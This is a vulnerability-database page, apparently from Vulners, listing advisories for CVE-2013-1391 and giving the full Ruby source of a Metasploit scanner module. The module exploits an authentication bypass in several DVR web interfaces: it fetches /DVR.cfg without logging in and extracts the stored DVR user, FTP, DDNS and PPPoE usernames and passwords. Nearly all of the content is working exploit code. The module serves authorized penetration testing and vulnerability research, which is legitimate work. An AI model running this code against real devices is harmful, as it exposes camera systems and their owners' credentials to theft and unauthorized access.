| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2013-1391 | 29 Jan 201300:00 | ā | circl | |
| Multiple Products DVR Configuration Disclosure (CVE-2013-1391) | 21 Oct 201300:00 | ā | checkpoint_advisories | |
| CVE-2013-1391 | 30 Oct 201920:36 | ā | cve | |
| CVE-2013-1391 | 30 Oct 201920:36 | ā | cvelist | |
| Hunt CCTV DVR.cfg Direct Request Information Disclosure | 6 Feb 201300:00 | ā | nessus | |
| Multiple DVR Manufacturers Configuration Disclosure | 30 Jan 201316:22 | ā | metasploit | |
| CVE-2013-1391 | 30 Oct 201921:15 | ā | nvd | |
| Multiple DVR Information Disclosure Vulnerability | 1 Feb 201300:00 | ā | openvas | |
| Hunt CCTV Credential Disclosure | 28 Jan 201300:00 | ā | packetstorm | |
| Authentication flaw | 30 Oct 201921:15 | ā | prion |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Multiple DVR Manufacturers Configuration Disclosure',
'Description' => %q{
This module takes advantage of an authentication bypass vulnerability at the
web interface of multiple manufacturers DVR systems, which allows to retrieve the
device configuration.
},
'Author' =>
[
'Alejandro Ramos', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-1391' ],
[ 'URL', 'http://www.securitybydefault.com/2013/01/12000-grabadores-de-video-expuestos-en.html' ]
],
'License' => MSF_LICENSE
)
end
def get_pppoe_credentials(conf)
user = ""
password = ""
enabled = ""
if conf =~ /PPPOE_EN=(\d)/
enabled = $1
end
return if enabled == "0"
if conf =~ /PPPOE_USER=(.*)/
user = $1
end
if conf =~ /PPPOE_PASSWORD=(.*)/
password = $1
end
if user.empty? or password.empty?
return
end
info = "PPPOE credentials for #{rhost}, user: #{user}, password: #{password}"
report_note({
:host => rhost,
:data => info,
:type => "dvr.pppoe.conf",
:sname => 'pppoe',
:update => :unique_data
})
end
def get_ddns_credentials(conf)
hostname = ""
user = ""
password = ""
enabled = ""
if conf =~ /DDNS_EN=(\d)/
enabled = $1
end
return if enabled == "0"
if conf =~ /DDNS_HOSTNAME=(.*)/
hostname = $1
end
if conf =~ /DDNS_USER=(.*)/
user = $1
end
if conf =~ /DDNS_PASSWORD=(.*)/
password = $1
end
if hostname.empty?
return
end
info = "DDNS credentials for #{hostname}, user: #{user}, password: #{password}"
report_note({
:host => rhost,
:data => info,
:type => "dvr.ddns.conf",
:sname => 'ddns',
:update => :unique_data
})
end
def get_ftp_credentials(conf)
server = ""
user = ""
password = ""
port = ""
if conf =~ /FTP_SERVER=(.*)/
server = $1
end
if conf =~ /FTP_USER=(.*)/
user = $1
end
if conf =~ /FTP_PASSWORD=(.*)/
password = $1
end
if conf =~ /FTP_PORT=(.*)/
port = $1
end
if server.empty?
return
end
report_cred(
ip: server,
port: port,
service_name: 'ftp',
user: user,
password: password,
proof: conf.inspect
)
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def get_dvr_credentials(conf)
conf.scan(/USER(\d+)_USERNAME/).each { |match|
user = ""
password = ""
active = ""
user_id = match[0]
if conf =~ /USER#{user_id}_LOGIN=(.*)/
active = $1
end
if conf =~ /USER#{user_id}_USERNAME=(.*)/
user = $1
end
if conf =~ /USER#{user_id}_PASSWORD=(.*)/
password = $1
end
if active == "0"
user_active = false
else
user_active = true
end
report_cred(
ip: rhost,
port: rport,
service_name: 'dvr',
user: user,
password: password,
proof: "user_id: #{user_id}, active: #{active}"
)
}
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run_host(ip)
res = send_request_cgi({
'uri' => '/DVR.cfg',
'method' => 'GET'
})
if not res or res.code != 200 or res.body.empty? or res.body !~ /CAMERA/
vprint_error("#{rhost}:#{rport} - DVR configuration not found")
return
end
p = store_loot("dvr.configuration", "text/plain", rhost, res.body, "DVR.cfg")
vprint_good("#{rhost}:#{rport} - DVR configuration stored in #{p}")
conf = res.body
get_ftp_credentials(conf)
get_dvr_credentials(conf)
get_ddns_credentials(conf)
get_pppoe_credentials(conf)
dvr_name = ""
if res.body =~ /DVR_NAME=(.*)/
dvr_name = $1
end
report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => "DVR NAME: #{dvr_name}")
print_good("#{rhost}:#{rport} DVR #{dvr_name} found")
end
end
`
Data
Build on a solid foundation withĀ Vulners data
WeĀ provide theĀ essential building blocks forĀ cybersecurity solutions withĀ comprehensive, structured, andĀ constantly updated vulnerability andĀ exploits data
Api
Power your application withĀ Vulners API
The Vulners REST API offers reliable, high-performance access toĀ vulnerabilityĀ intelligence, withĀ 99.9%Ā SLAĀ uptime andĀ CDN-backed data delivery forĀ seamlessĀ global access
App
Assess and manage vulnerabilities withĀ VulnersĀ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation